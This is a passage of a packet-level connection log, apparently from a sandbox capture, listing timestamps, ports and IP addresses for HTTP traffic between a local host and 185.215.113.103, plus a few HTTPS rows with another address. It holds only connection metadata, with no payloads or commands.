Oct 7, 2024 03:23:19.966382980 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966399908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966413975 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966415882 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966423035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966434956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966449022 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966454983 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966455936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966464996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966476917 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966490030 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966501951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966502905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966516018 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966516018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966521978 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966526985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966543913 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966553926 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966561079 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966571093 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966582060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966592073 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966608047 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966631889 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966732025 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966743946 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966753960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966763020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966783047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966784000 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966799021 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966804981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966816902 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966821909 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966835976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966846943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966854095 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966860056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966872931 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966878891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966892004 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966893911 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966902971 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966913939 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966916084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966928959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966936111 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966942072 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966945887 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966953039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966959953 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966979027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966984034 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966991901 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967001915 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967003107 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.967012882 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967020035 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.967030048 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.967052937 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.967058897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967071056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967081070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967092991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967104912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.967108011 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.967139006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.967145920 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.005726099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005776882 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005786896 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005837917 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005848885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005856037 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.005861998 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005892038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005897045 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.005903006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.005903959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005916119 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005925894 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005932093 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.005937099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.005954027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.005961895 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.005980015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006016970 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006026983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006036043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006046057 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006062031 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006063938 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006078959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006086111 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006089926 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006099939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006100893 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006109953 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006122112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006123066 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006134033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006136894 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006145954 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006158113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.006160975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006181002 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.006194115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.012707949 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012763977 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012774944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012784004 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012799978 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012809992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012821913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012831926 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.012854099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012860060 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.012865067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012875080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012878895 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.012903929 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012914896 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012914896 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.012927055 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.012938976 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.012964010 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.012993097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013009071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013017893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013029099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013032913 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.013042927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013053894 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013056993 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.013083935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.013098955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.013107061 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013119936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013128996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.013150930 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.013173103 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053508997 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053519964 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053529024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053559065 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053565979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053577900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053586006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053587914 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053606033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053617954 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053621054 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053627968 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053638935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053643942 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053661108 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053675890 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053679943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053689957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053718090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053719044 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053725004 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053729057 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053750992 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053762913 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053818941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053848982 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053857088 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053867102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053885937 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053899050 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053899050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053915024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053924084 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053926945 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053937912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053942919 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053951979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053958893 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053961039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053980112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.053997040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.053998947 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.054008007 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054018974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054028988 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054037094 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.054039955 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054063082 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.054064035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054070950 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.054095984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.054805040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054850101 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.054872036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054881096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054915905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.054953098 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054965019 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054975033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054991961 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.054992914 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055006027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055008888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055008888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055018902 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055026054 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055041075 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055053949 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055111885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055129051 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055140018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055156946 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055160046 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055167913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055177927 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055177927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055190086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055198908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055203915 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055217028 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055226088 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055236101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055246115 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055249929 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055258036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055268049 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055269003 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055280924 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055291891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055298090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055309057 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055320024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055320978 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055327892 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055332899 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055346966 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055357933 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055358887 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055372953 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055382013 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055392027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055421114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055428028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055433035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055444002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055453062 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055464983 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055479050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055480957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055491924 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055501938 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055510044 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055531979 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055532932 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055542946 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055552006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055561066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055588961 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055596113 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055625916 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055635929 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055654049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055668116 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055668116 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055675983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055686951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055690050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055699110 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.055718899 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.055741072 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.070596933 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.070715904 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.070774078 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.071038008 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.071059942 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.071074963 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.071083069 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.094469070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094486952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094496965 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094506979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094518900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094531059 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094537020 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094542027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094549894 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094552994 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094580889 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094592094 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094610929 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094621897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094631910 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094643116 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094652891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094655991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094666004 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094677925 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094682932 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094690084 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094712973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094717979 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094722986 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094732046 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094748974 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094752073 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094763041 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094774008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094780922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094784021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.094809055 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.094818115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101372004 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101402044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101413012 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101427078 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101447105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101450920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101461887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101490021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101496935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101502895 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101512909 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101521969 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101532936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101536036 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101567984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101592064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101593971 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101604939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101618052 CEST	80	49879	185.215.113.103	192.168.2.4
